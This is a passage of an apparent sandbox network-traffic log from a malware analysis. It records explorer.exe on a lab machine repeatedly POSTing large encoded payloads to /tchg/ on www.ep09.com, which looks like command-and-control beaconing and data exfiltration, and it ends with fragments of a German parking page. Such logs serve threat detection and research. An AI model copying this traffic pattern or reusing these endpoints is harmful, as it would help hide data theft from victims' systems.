May 30, 2023 11:10:43.444410086 CEST	1049	IN	Data Raw: 70 45 41 50 59 61 64 38 47 41 36 41 41 41 41 41 58 52 53 54 6c 4d 41 51 4f 62 59 5a 67 41 41 42 38 70 4a 52 45 46 55 65 4e 72 74 6d 6f 75 53 6f 79 6f 51 51 42 73 78 43 42 68 41 35 50 48 2f 6e 33 70 74 6e 6f 62 64 5a 4a 78 39 31 63 79 74 6e 4b 70 Data Ascii: pEAPYad8GA6AAAAAXRSTlMAQObYZgAAB8pJREFUeNrtmouSoyoQQBsxCBhA5PH/n3ptnobdZJx91cytnKpJCELTHkHJbuDN94WwVSFihjefhggXYwwhRHyzHN58BqJCDEbNal1nE5Eg4M1lePB2JcSGeMK/V/JVjCU438SqQjzznoSXIH6FyqScESIWgoE3F/wJqMxhSm/MWhRo4tvgx1gBHUZayfuofFzh/wpTDP4Eyjzb1oCP
May 30, 2023 11:10:43.444574118 CEST	1051	IN	Data Raw: 37 63 35 2b 38 34 7a 32 77 33 36 44 37 57 50 79 31 51 48 2b 36 4b 4f 79 53 51 47 51 32 46 7a 65 43 4e 61 50 36 2b 48 54 58 42 4d 62 7a 58 64 78 41 51 51 43 38 66 67 72 50 5a 6c 78 51 33 73 61 52 41 4d 2b 66 77 75 64 72 56 73 71 52 76 42 5a 34 7a Data Ascii: 7c5+84z2w36D7WPy1QH+6KOySQGQ2FzeCNaP6+HTXBMbzXdxAQQC8fgrPZlxQ3saRAM+fwudrVsqRvBZ4ztdeEDhNkDAXBfL4gPlQYKjGmaqdg+GMKRMiPOwDWd8HVjwhLr6kXw9VPjIgvO4Dq0lft57Y/KXAni9wFy8IVNGblbE1XBM47venDwXa2IBxPo1X5AeBqxie3aE8RYYV/PybyByG+Uo+EKji5x4idvTxmiEjAR8KZA
May 30, 2023 11:10:43.444610119 CEST	1052	IN	Data Raw: 64 30 6e 6b 47 32 58 4f 48 4d 42 77 36 55 5a 69 45 47 77 30 35 65 47 33 72 56 47 61 33 51 42 57 48 42 50 6e 61 78 69 49 52 32 37 4c 2f 68 42 45 69 42 33 66 59 50 6c 71 4c 67 42 4e 6c 39 79 4f 33 77 6c 6b 70 44 55 68 6b 70 63 31 61 6c 4a 2f 6f 7a Data Ascii: d0nkG2XOHMBw6UZiEGw05eG3rVGa3QBWHBPnaxiIR27L/hBEiB3fYPlqLgBNl9yO3wlkpDUhkpc1alJ/ozFWrPUTtj+qDwiSxw0HaaQR6VA7hKghMPMSqf/AOVXTmgqvu9mAAAAAElFTkSuQmCC);overflow:hidden;text-indent:-9999px;font-size:0;color:rgba(255,255,255,0);text-align:left}#log
May 30, 2023 11:10:43.444638014 CEST	1053	IN	Data Raw: 6c 6c 74 2e 20 53 69 65 20 77 69 72 64 20 62 65 69 20 6a 65 64 65 72 20 6e 65 75 65 6e 20 44 6f 6d 61 69 6e 20 68 69 6e 74 65 72 6c 65 67 74 20 75 6e 64 20 7a 65 69 67 74 2c 20 64 61 73 73 20 64 69 65 20 6e 65 75 65 20 44 6f 6d 61 69 6e 20 65 72 Data Ascii: llt. Sie wird bei jeder neuen Domain hinterlegt und zeigt, dass die neue Domain erreichbar ist.<br>Ohne diese Platzhalter-Seite würden Besucher eine Fehlermeldung erhalten. Als Kunde von united-domains können Sie diese Domain in Ihre
May 30, 2023 11:10:43.444663048 CEST	1054	IN	Data Raw: 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 20 6e 6f 6f 70 65 6e 65 72 22 3e 44 61 74 65 6e 73 63 68 75 74 7a 68 69 6e 77 65 69 73 65 3c 2f 61 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 Data Ascii: rel="nofollow noopener">Datenschutzhinweise</a></p></div></div><div class="footer-wrapper"><div class="footer">© united-domains AG. <span> Alle Rechte vorbehalten.</span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.11.20	49810	154.84.88.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:50.020633936 CEST	1055	OUT	POST /tchg/ HTTP/1.1 Host: www.ep09.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.ep09.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ep09.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 5a 35 73 7a 65 74 65 6d 48 56 31 46 64 76 63 66 4f 42 32 65 79 67 61 37 6d 44 30 73 6e 65 6f 45 48 69 4c 42 66 6c 30 4d 78 59 56 71 75 78 30 62 34 5a 71 4c 62 56 59 33 59 4d 39 50 39 4e 42 69 28 78 5a 71 47 4f 65 53 42 77 6f 4b 33 76 35 59 35 42 73 39 73 34 63 7a 7a 57 51 49 6f 4a 45 76 6b 66 50 48 64 41 6c 76 68 70 6f 58 46 52 4f 64 4e 63 67 55 28 2d 58 67 67 54 68 4a 61 69 51 6a 55 4b 32 75 31 45 31 53 77 59 44 74 75 51 4b 67 34 43 52 38 73 6c 73 4d 61 5a 4e 61 6a 52 35 6a 6c 50 76 37 77 39 4e 36 39 49 34 52 53 35 41 45 65 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=Z5szetemHV1FdvcfOB2eyga7mD0sneoEHiLBfl0MxYVqux0b4ZqLbVY3YM9P9NBi(xZqGOeSBwoK3v5Y5Bs9s4czzWQIoJEvkfPHdAlvhpoXFROdNcgU(-XggThJaiQjUK2u1E1SwYDtuQKg4CR8slsMaZNajR5jlPv7w9N69I4RS5AEeQ).
May 30, 2023 11:10:50.356134892 CEST	1055	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 30 May 2023 09:10:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.11.20	49811	154.84.88.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:52.777693987 CEST	1057	OUT	POST /tchg/ HTTP/1.1 Host: www.ep09.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.ep09.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ep09.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 5a 35 73 7a 65 74 65 6d 48 56 31 46 65 4f 4d 66 4e 69 65 65 7e 51 61 36 70 6a 30 73 7e 4f 6f 49 48 69 48 42 66 6b 41 63 78 72 78 71 76 51 45 62 35 63 47 4c 61 56 59 33 54 73 38 45 35 4e 42 72 28 78 46 59 47 4b 65 53 42 30 34 4b 32 64 78 59 28 78 73 69 34 6f 63 79 30 57 51 4a 73 4a 45 6c 6b 66 44 78 64 42 78 76 68 34 30 58 66 53 32 64 4a 4a 4d 58 34 65 58 69 30 6a 68 49 54 43 51 58 55 4b 36 4d 31 41 30 76 7a 75 7a 74 75 30 47 67 71 53 52 6a 6b 56 73 48 54 35 4d 33 6e 68 63 76 72 64 58 63 67 49 42 36 6c 36 56 7a 66 4b 42 37 45 38 31 39 55 32 70 57 48 4f 64 35 74 49 79 5f 56 69 4c 72 67 53 58 78 71 4d 74 4a 6f 69 57 46 67 5a 6c 46 4f 66 37 31 38 71 39 54 4b 34 38 50 73 67 4f 6e 65 6e 30 4a 48 77 54 73 45 72 68 73 43 36 78 56 6c 63 58 53 78 72 62 54 7e 54 43 7a 34 6d 38 79 74 5f 4c 6b 47 57 42 53 6c 68 79 32 4b 36 4e 79 34 6d 43 2d 6a 65 30 36 6d 5f 48 4c 52 6e 45 71 73 75 6f 39 30 47 57 6f 50 55 48 58 31 67 59 43 53 76 53 67 78 49 73 6c 72 66 31 79 32 61 68 53 64 69 45 6c 4d 70 33 48 52 5f 56 68 44 44 7e 6c 34 67 4e 56 5a 4c 6b 30 4c 2d 6d 55 31 6d 77 77 75 64 73 71 59 6e 31 4e 79 78 42 78 74 37 4c 45 6b 78 56 55 37 30 33 42 37 59 34 59 77 7a 68 74 6d 72 53 57 67 47 30 71 55 56 35 70 66 68 5a 5f 50 48 4d 36 43 4d 31 4f 4f 65 28 66 66 58 53 4b 52 6b 4b 4a 31 33 37 43 49 47 33 41 62 31 7e 54 65 72 7a 5a 4b 5f 70 2d 43 4a 38 42 6b 44 6d 75 63 33 4e 2d 41 42 69 36 39 72 37 48 51 34 77 62 55 32 42 2d 77 4c 51 66 46 32 49 7a 71 49 32 6c 43 68 47 36 7e 39 77 6a 45 74 32 5a 63 75 6d 76 37 61 4c 73 5a 78 48 61 28 30 31 4d 4b 73 79 69 61 77 51 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=Z5szetemHV1FeOMfNiee~Qa6pj0s~OoIHiHBfkAcxrxqvQEb5cGLaVY3Ts8E5NBr(xFYGKeSB04K2dxY(xsi4ocy0WQJsJElkfDxdBxvh40XfS2dJJMX4eXi0jhITCQXUK6M1A0vzuztu0GgqSRjkVsHT5M3nhcvrdXcgIB6l6VzfKB7E819U2pWHOd5tIy_ViLrgSXxqMtJoiWFgZlFOf718q9TK48PsgOnen0JHwTsErhsC6xVlcXSxrbT~TCz4m8yt_LkGWBSlhy2K6Ny4mC-je06m_HLRnEqsuo90GWoPUHX1gYCSvSgxIslrf1y2ahSdiElMp3HR_VhDD~l4gNVZLk0L-mU1mwwudsqYn1NyxBxt7LEkxVU703B7Y4YwzhtmrSWgG0qUV5pfhZ_PHM6CM1OOe(ffXSKRkKJ137CIG3Ab1~TerzZK_p-CJ8BkDmuc3N-ABi69r7HQ4wbU2B-wLQfF2IzqI2lChG6~9wjEt2Zcumv7aLsZxHa(01MKsyiawQ.
May 30, 2023 11:10:53.096956968 CEST	1057	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 30 May 2023 09:10:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.11.20	49812	154.84.88.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:55.545268059 CEST	1070	OUT	POST /tchg/ HTTP/1.1 Host: www.ep09.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.ep09.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ep09.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 5a 35 73 7a 65 74 65 6d 48 56 31 46 65 4f 4d 66 4e 69 65 65 7e 51 61 36 70 6a 30 73 7e 4f 6f 49 48 69 48 42 66 6b 41 63 78 72 35 71 76 6a 63 62 34 5f 7e 4c 64 56 59 33 50 63 38 48 35 4e 41 70 28 78 64 63 47 4b 54 76 42 79 6b 4b 32 50 4a 59 28 48 51 69 79 49 63 78 37 32 51 58 6f 4a 45 50 6b 66 50 6c 64 42 6b 55 68 70 77 58 46 51 7e 64 4f 36 30 55 35 4f 58 67 30 6a 67 4a 58 43 51 31 55 4b 28 4a 31 46 73 76 7a 6f 37 74 38 78 61 67 6f 6b 5a 6a 28 56 73 49 63 5a 4d 30 70 78 63 47 72 63 7a 69 67 49 41 42 6c 37 52 7a 66 4e 64 37 46 39 30 72 55 57 70 57 5a 65 64 36 7e 59 75 37 56 6d 72 4e 67 54 6a 78 71 4c 52 4a 6f 43 57 46 6b 37 4e 47 4a 5f 37 7a 34 71 38 46 41 5a 41 48 73 67 79 4e 65 6a 34 4a 47 41 33 73 4c 38 31 73 41 59 5a 56 35 73 58 51 31 72 62 41 33 7a 44 69 34 6d 73 49 74 5f 71 54 47 52 42 53 6b 41 7e 32 59 76 68 39 78 6d 43 30 74 2d 31 2d 31 76 4c 50 52 6e 55 32 73 75 6f 54 30 46 61 6f 49 6b 33 58 30 68 59 42 53 5f 54 71 6f 34 73 77 79 76 35 43 32 61 39 4b 64 69 4e 39 4d 71 62 48 53 66 56 68 47 6b 71 36 69 67 4e 53 58 62 6c 7a 47 65 6d 50 31 6d 30 47 75 63 59 51 59 58 5a 4e 79 46 6c 78 6e 4c 4c 4c 32 42 56 59 6f 55 33 48 28 59 34 59 77 7a 6c 66 6d 72 4f 57 68 32 4d 71 56 6e 68 70 50 43 42 5f 4e 48 4d 77 43 4d 31 66 4f 65 43 30 66 58 61 30 52 6c 61 76 31 30 58 43 49 58 6e 41 61 48 57 53 4a 62 7a 59 4f 5f 70 70 47 4a 77 77 6b 43 4b 32 63 33 64 49 42 32 61 36 38 71 4c 48 55 34 77 59 46 6d 42 35 7a 4c 51 4e 42 32 45 5f 71 49 37 53 43 67 43 71 7e 5f 77 6a 46 5a 76 39 59 4f 7e 47 35 6f 4c 64 5a 48 44 55 28 30 4e 77 65 4f 4b 6a 49 42 55 30 73 36 71 61 48 31 35 5a 58 37 74 5a 50 58 32 75 6e 67 44 38 5a 6d 44 67 45 2d 32 54 63 4e 56 71 28 77 50 4a 70 76 76 76 30 58 39 42 77 57 35 73 5a 37 73 78 34 5f 6e 56 31 4a 4c 76 64 76 71 6c 49 73 65 54 34 64 59 44 70 65 33 71 51 43 51 35 72 38 67 55 63 30 6f 64 42 42 74 75 49 31 36 44 45 56 75 39 4e 35 6a 71 44 75 32 7a 67 77 35 6e 48 5a 44 6b 4e 4c 6d 75 63 36 53 62 65 4b 71 2d 73 78 72 62 34 30 4a 74 4e 36 62 31 4e 4e 44 61 4d 4e 49 61 35 54 4a 4d 66 2d 5a 71 4c 4c 58 6c 72 6a 44 71 65 64 78 2d 7e 58 53 56 66 34 6a 4e 32 6e 35 76 6e 5a 73 73 45 37 41 6c 43 51 77 34 44 6a 4c 5f 68 34 68 77 6b 53 52 79 7a 31 6d 38 41 66 44 31 34 44 56 56 67 42 34 32 45 6b 76 37 65 68 52 50 76 75 34 31 46 5f 54 6b 59 65 51 4e 37 64 6e 6f 64 66 58 54 58 45 46 57 42 6c 34 35 6c 34 7a 79 74 56 32 6b 41 2d 78 5a 49 44 7a 67 42 33 56 5f 32 4c 35 72 7a 4d 64 68 58 4e 7a 49 53 33 55 77 71 78 30 54 33 2d 68 45 68 37 42 49 4b 64 61 4a 37 42 4f 45 67 6b 64 47 6e 32 7e 33 50 2d 44 56 61 59 43 74 54 6b 68 71 6a 70 36 33 63 46 77 63 28 54 70 61 47 68 59 75 56 45 76 59 4d 76 44 71 43 4d 44 4e 44 4c 6a 78 6d 5f 28 44 53 66 6c 77 61 30 79 6c 4c 78 4c 4d 37 65 75 45 58 62 28 39 65 4f 4f 51 48 71 31 43 74 79 68 32 6e 63 6a 56 38 34 4d 6b 46 6a 7a 41 30 77 59 61 37 35 32 67 53 4e 66 56 31 4b 68 38 30 48 4e 48 45 44 4c 42 74 6c 6b 43 41 6f 74 7a 34 74 33 58 58 67 55 42 72 32 59 6e 31 55 38 34 64 55 6c 49 59 55 59 6f 33 4d 45 74 6f 68 28 6c 7e 37 68 33 66 30 36 37 34 56 4d 76 57 51 59 70 45 73 79 58 54 6f 28 69 57 6f 50 70 72 52 6b 39 7a 76 77 53 79 50 73 38 43 31 43 57 65 65 76 75 47 66 63 6e 78 45 6f 4b 68 55 54 45 4c 66 49 52 72 72 55 70 5a 30 55 61 7e 65 74 44 75 4f 6f 52 32 66 36 5a 28 46 7e 75 68 71 7a 2d 79 39 32 71 43 6b 4f 36 65 69 62 74 6a 68 4a 74 43 57 31 66 61 58 57 48 6d 46 46 45 4f 35 41 69 55 4c 4b 6f 53 30 76 4b 49 50 41 63 6c 4c 5a 37 33 54 6b 39 51 6d 76 44 57 46 69 31 41 62 61 39 59 43 55 77 64 31 49 46 62 62 53 51 68 71 28 43 6c 4e 78 31 68 64 58 6d 52 71 73 7a 78 66 4b 43 49 53 38 58 6c 6f 47 53 74 31 46 34 28 72 77 64 36 6e 77 68 46 43 39 32 6d 5f 50 38 66 4c 44 65 57 53 71 49 43 30 6e 34 45 4c 56 76 63 38 49 34 67 36 52 36 61 76 43 6a 48 51 42 44 42 7a 7e 43 65 5f 79 36 30 69 33 4c 6c 6b 4f 68 4f 34 53 63 36 64 44 38 77 45 34 30 6d 6f 66 62 43 58 75 50 57 35 5a 42 6f 48 4e 69 44 50 53 55 64 4e 38 34 4f 59 34 66 4e 77 4e 33 37 46 4c 59 5a 4a 71 5f 61 30 51 64 32 64 32 4b 49 4e 37 65 6a 36 63 48 53 4c 73 6d 74 49 6a 42 74 67 7a 6c 65 50 65 73 6a 71 57 56 41 36 5a 63 56 4e 76 44 72 Data Ascii: O0qEM=Z5szetemHV1FeOMfNiee~Qa6pj0s~OoIHiHBfkAcxr5qvjcb4_~LdVY3Pc8H5NAp(xdcGKTvBykK2PJY(HQiyIcx72QXoJEPkfPldBkUhpwXFQ~dO60U5OXg0jgJXCQ1UK(J1Fsvzo7t8xagokZj(VsIcZM0pxcGrczigIABl7RzfNd7F90rUWpWZed6~Yu7VmrNgTjxqLRJoCWFk7NGJ_7z4q8FAZAHsgyNej4JGA3sL81sAYZV5sXQ1rbA3zDi4msIt_qTGRBSkA~2Yvh9xmC0t-1-1vLPRnU2suoT0FaoIk3X0hYBS_Tqo4swyv5C2a9KdiN9MqbHSfVhGkq6igNSXblzGemP1m0GucYQYXZNyFlxnLLL2BVYoU3H(Y4YwzlfmrOWh2MqVnhpPCB_NHMwCM1fOeC0fXa0Rlav10XCIXnAaHWSJbzYO_ppGJwwkCK2c3dIB2a68qLHU4wYFmB5zLQNB2E_qI7SCgCq~_wjFZv9YO~G5oLdZHDU(0NweOKjIBU0s6qaH15ZX7tZPX2ungD8ZmDgE-2TcNVq(wPJpvvv0X9BwW5sZ7sx4_nV1JLvdvqlIseT4dYDpe3qQCQ5r8gUc0odBBtuI16DEVu9N5jqDu2zgw5nHZDkNLmuc6SbeKq-sxrb40JtN6b1NNDaMNIa5TJMf-ZqLLXlrjDqedx-~XSVf4jN2n5vnZssE7AlCQw4DjL_h4hwkSRyz1m8AfD14DVVgB42Ekv7ehRPvu41F_TkYeQN7dnodfXTXEFWBl45l4zytV2kA-xZIDzgB3V_2L5rzMdhXNzIS3Uwqx0T3-hEh7BIKdaJ7BOEgkdGn2~3P-DVaYCtTkhqjp63cFwc(TpaGhYuVEvYMvDqCMDNDLjxm_(DSflwa0ylLxLM7euEXb(9eOOQHq1Ctyh2ncjV84MkFjzA0wYa752gSNfV1Kh80HNHEDLBtlkCAotz4t3XXgUBr2Yn1U84dUlIYUYo3MEtoh(l~7h3f0674VMvWQYpEsyXTo(iWoPprRk9zvwSyPs8C1CWeevuGfcnxEoKhUTELfIRrrUpZ0Ua~etDuOoR2f6Z(F~uhqz-y92qCkO6eibtjhJtCW1faXWHmFFEO5AiULKoS0vKIPAclLZ73Tk9QmvDWFi1Aba9YCUwd1IFbbSQhq(ClNx1hdXmRqszxfKCIS8XloGSt1F4(rwd6nwhFC92m_P8fLDeWSqIC0n4ELVvc8I4g6R6avCjHQBDBz~Ce_y60i3LlkOhO4Sc6dD8wE40mofbCXuPW5ZBoHNiDPSUdN84OY4fNwN37FLYZJq_a0Qd2d2KIN7ej6cHSLsmtIjBtgzlePesjqWVA6ZcVNvDrPXZG4RVCltA0upt(NWp(QtsNQDNpKkvn6kIi4hZkO~-tYR9nHux31cPg_h76dOhbvT-7ApuhhlnsuTJor1pbrGa6Dx1yBXCvxlg8U781HZ2moHmfGwCizRLEq9l9j8sgGABTDqhTCAFmECvDYBIHnBOQlwP9pYfuueJJFOmJYyL9GQLdmawCy9BS6vekb4TV0J7pZ1ZgIDEtX~LFqg5coQ_bTUqRcw-esz1jvfdNIFu3ty9zgKqujtX1Z7eat68Bjpb4RFPW13ay1AUQh1Tpenyae~SXyjdyu0AvDD1Ej58eFTuVTUWUO0wEmBCB_fgxrKV7EYC9cIb79iWbDOTGzPmMyJOKAw9mOZmqUzscIU9SMAzxNCJ09RCxzDoHHuQcIfHeTCOLiSxnQNfC58HNIB64nvc4g1mAxbF5Xdgung2bpO5IKyhdiwgnGgWMwztqmmULmjYlMvoQt7_8nK78LvdqoVVw63Qa3putzENtp(DBdyPtLTX8KakLQlLP3I_f8LUk1ANQO3FD2PjIlqiwdAkQAFh7yMsfRLlTKIDNubYhO7VXxDysAztReZktv4kt9BvXh1fEB6gCzri8TjjemqO114TyZYVOYDcRfj_jKjiP0ve1vgbfljPuBW47CLDqyoXztVIHzZv6IvL(EpiVDYSGkLCtK2GeoCx8Vifp6bHR2WF7kSxWE6CdfoVeJwgT911Cg(h(I5pW0RPnCF6KU~Vt5ekRAaDfoAsyttwL0ts9XbRwHSgnRi64hlOOnpPXy8eow56JS8arQmlYD~9myNkXWlKgszXq6FNrKQyan(9qEnqG_9jFrNmgyAM8LLSfd(ZSjBML7e_Thkdbk1NBmbTEnkKMTUSeeflQlzBM3wTdPP9Z6DT(r2FOvW04y01GC~hqXjRwlI5ecluap3cklD00rCZku(PHbHCTbxjN_qHw5JCHOMQukfzCCYi8u(F8Ph23b5QeeF5sH7EcFZ9gi5C91iCpg9dU-WpD0X_72kmj1rhJjBpJ1gD~XFqR8F7yRUT2m5NQV9sDnuzaW0byKghepLhTlw7tXjTtcytezOnGFEInrs_uPkvnQ8mGUVk2WPJY7SFppNM6m50bIjwE_J0uVnb4pihhXlrkAmRzXrVSshIag5EGmnbZmSK1erNcVHjGjF_ruZs1lB16L34cRyFV2co(WKZGp7mZg4wFUljvhAUJrqs(x6Gb3tITXcqaKNpSdhdNmBFBUyShkoS6brUpF5ifkZMXsKrW20KgbVC0U5VFHwcnKapuJe7vIAsjMAeHzZm9IdSiK(D7TE7r5N01QvsK4s1gHvmQ-KpnsO_bxvECyVrMTZfRi9pTxF8CftQ8k96evAWeRnF(LNL4lzo134SzGw1PK7N3naXB3D68UnmVNfYm_TGbBRCo_ozHFzLBH2_cjSXFEDbEQOUPldQkdfpX4qly4n9U4BJze63NKVJ6k5YQ6h4pPI5x_xY~tAivZOBTTnyNvqrO1c7dhy8zIFgiIueQKBrvk9B~OuORr5oHRT66BxnVumhKdx9zUi3b0E4G3U0II5aHarC7E5RAcjkrtu5jl0wJSyqAQNbWNqGw3kL8oOYg3DkLMeU2ULDMpd7GCcrBmZCwkkR9dZVSR7BmHHhjpUxF_a5rN9TqVDmcfjxCqKHBNoOjOwKyC9cfWSH3WJIhBAVKBKpLox1KMOhsOxh3TlXcqjb3EgTs_U0qchZhRgVa6yuQcsQgiZKH4Y0HN7Sh5SI(gSWjL5EqGd5YAJ0duO7tNw9EREnkFUkDCozYhoayDkZYoc8AGUY7PjkCQLADq(XD-3cd9nrAgjXKrUTG-kwKdi_kFvHtCtBAsn0KP1idfm3nf8-HSG8brosXcyEXNobT_gWEZYITT~sv-Uch0pZIxnq~jNlr7QoxDiPQRBA8CoxrNY5cuyILTIY0IbRT4JIlD7Y4jMqtnmb0rgN7Ve6vaYhhMZmS9xYYX147E3JjKdwhc8_jgt8SCkaKhF17iYHUxakf4TOkx9DqPr11TNDwrdwhIPWx4CFFirQDVpztu~ri0qc6c9jXAser-yrRMOK6fEw0nwTSVWmgWhFoDG9w_RhbTlBAvi5CCpbuFVVR6~hobYDcx(BMYsMX8CkV-5s2ewSPbwiSoMYqmEIFJRLKyRhN5N7m9gLyuensdSSbWVmk6MUCMRXtBK_~Ett1iAmxiYbLgog0riVN_4BqyHLayZ9I9IIKhOntQWd~1xGJh(oF98MNbReJGSlxYPZtUCC~Ful~UIGW9i0iSxbOvaOAJPQ24EsHIzI6KpXFttaYFPFsFHcCAJA3wFjweQsSi3o5mmLfVqJC2BggXA1f76WbVAzAtakO445Tc2kdP6Cw6D1enzK2y1bmGQIFHb0cU7nKOKpDPGeHzlPp9wv5FoNEWRE(jmM61UTcOjERCg9k9EYcJ7UBCvP0QYJpWpZc0Xqu3ink-Z6ZhXqEnBvuo8fNzMRYwaTNpcCUlGGvgJcfycSpgqcGZJjxDi1fDzh5D9apXYROShtLIz9UffGb5WsKt7Mynk2FIOXcoXNN-o4ebSRcTpqOICGgQAJD3i7nfMRgLp9Aakchlca7g4Cp95uE2jAaXI0HxGB74QcugYY0Q0lA0BOoZb_oeMrISlopDsKbv42PzuJ8I9qCcUN7NXAXb4sQ5erQRKJ2zumtgTPyr7p3igTlupWlhP5tlQt9ZL8dfCgE9yM9SiZlfOsyTJS
May 30, 2023 11:10:55.781106949 CEST	1078	OUT	Data Raw: 6d 71 63 4d 69 68 72 4a 75 6e 4b 52 4d 68 6a 36 49 6b 45 45 73 67 35 4d 39 44 32 61 4c 78 51 50 6e 33 71 76 39 67 39 6b 34 43 64 48 56 7a 75 75 47 6b 76 71 63 6b 7e 77 78 6e 4c 59 65 76 57 6c 6c 73 42 68 37 76 42 43 6d 71 45 50 51 32 59 4e 43 35 Data Ascii: mqcMihrJunKRMhj6IkEEsg5M9D2aLxQPn3qv9g9k4CdHVzuuGkvqck~wxnLYevWllsBh7vBCmqEPQ2YNC5T_8ThjlM4kj4T5w8JIWfcejd~zVMbT8xUDU3hpm2CAm2RK070e~roaiY6mxNPpbVZVYG2EH9~Go7tEsYwoirllIqKy~Qk0hZQJaljRVidtXr3UUbmO2pwH6hxyTDuTikwWYTH5shGfEH~Pxzx6C7qAfMfwkEQDndi
May 30, 2023 11:10:55.781219006 CEST	1083	OUT	Data Raw: 74 54 38 44 76 37 48 48 47 34 7e 70 71 37 30 6d 71 46 65 2d 56 6b 75 73 72 2d 74 58 44 74 4c 4b 64 69 77 7a 5a 4d 4d 52 57 70 74 43 62 61 66 61 57 30 31 38 33 77 61 32 43 4c 50 69 79 73 4f 34 48 6b 53 32 42 77 33 6d 44 7a 39 58 52 47 38 57 63 6a Data Ascii: tT8Dv7HHG4~pq70mqFe-Vkusr-tXDtLKdiwzZMMRWptCbafaW0183wa2CLPiysO4HkS2Bw3mDz9XRG8WcjOIIZVUuBHxRiZjXMzxXNiZf3e7fdDS1oj6GnveZWdNgorqT6prI5~NOpkWNJf5r3mDXYNVIipxehrQctVaRGhlmTCBv_mEArkD08T1vl1_13mm2Il7uHgEkcf65BF2X_M8BI7_R4ra3HDnVPDa4_gPpcodDpZ2xhW
May 30, 2023 11:10:55.781270981 CEST	1084	OUT	Data Raw: 70 4b 62 7a 46 55 50 5a 54 53 64 33 38 4a 38 32 6b 6f 55 41 6a 56 49 73 69 5f 55 71 42 35 64 58 50 6c 35 79 4e 64 5a 6d 54 7a 74 49 4d 34 41 4b 34 30 36 72 39 51 46 70 69 41 48 4a 30 47 58 65 32 34 71 66 54 77 68 79 42 7a 32 46 6f 37 46 43 4d 69 Data Ascii: pKbzFUPZTSd38J82koUAjVIsi_UqB5dXPl5yNdZmTztIM4AK406r9QFpiAHJ0GXe24qfTwhyBz2Fo7FCMi6Qa_YV1Lbr9j60w7K2S4mZzQQHGSklU1N8SzIcMZbhWac3IcoTkF(0d1ne4hpi2s03yeiXqobYjKHmjZ1EnCivnB9rNLXIcrUxKUXj0k(F2GOrkI1zHgpDjFLvqzboUOABs9uGC-hyTh8jKMfS8PW8~IAIKw02P_Z
May 30, 2023 11:10:55.781488895 CEST	1086	OUT	Data Raw: 65 6f 69 7a 68 6f 70 62 56 5a 64 53 6c 42 71 49 59 4f 61 4f 75 45 37 76 43 62 54 74 76 66 71 78 55 48 4b 5f 6a 59 62 69 78 4a 71 6d 65 5a 46 63 32 41 52 52 78 36 63 53 4d 34 5a 72 6c 46 31 32 70 63 37 6a 28 4d 73 53 39 6e 36 4d 64 6b 63 39 37 5a Data Ascii: eoizhopbVZdSlBqIYOaOuE7vCbTtvfqxUHK_jYbixJqmeZFc2ARRx6cSM4ZrlF12pc7j(MsS9n6Mdkc97ZEbOc6f4AJz3PsqKeaMg48BadGnTYUeEBX-GqNo(rQ0h193z_8ZqKmALCPgFRNRaAG-nagkxNXI(MDt7PRgOsqpF5DV45DDVlUTllC8s4fBTr(iyQyqhpJMzGgB0SEKnHRv5ECaEFeni4jd2V17oVos2LeQduLn~w3
May 30, 2023 11:10:55.781670094 CEST	1094	OUT	Data Raw: 4e 35 47 4e 66 4d 39 53 4a 43 28 56 78 52 38 30 44 52 6d 65 41 31 62 77 34 65 63 73 41 69 6c 57 64 6d 36 4b 63 2d 36 77 6b 4f 79 77 31 55 56 4f 61 46 4c 4b 47 4b 78 47 53 4f 4e 55 38 38 63 46 51 50 6a 4e 53 62 36 56 56 6e 56 63 30 59 59 5f 75 67 Data Ascii: N5GNfM9SJC(VxR80DRmeA1bw4ecsAilWdm6Kc-6wkOyw1UVOaFLKGKxGSONU88cFQPjNSb6VVnVc0YY_ugWFfWds9-ikODhVkYDKbB4eWiHzJhfWZ0DIxvqM~Ku22yEovSLMaqq48RYZDEsyAf5yyoNEjfnvNwPMPTumQPqCihXVJjS07gxASvYFghRGi2lYAZhAXdy828MYKcsUiHSlZKvCftYNlUdNKVdUrazflVp3Zb4-OF9
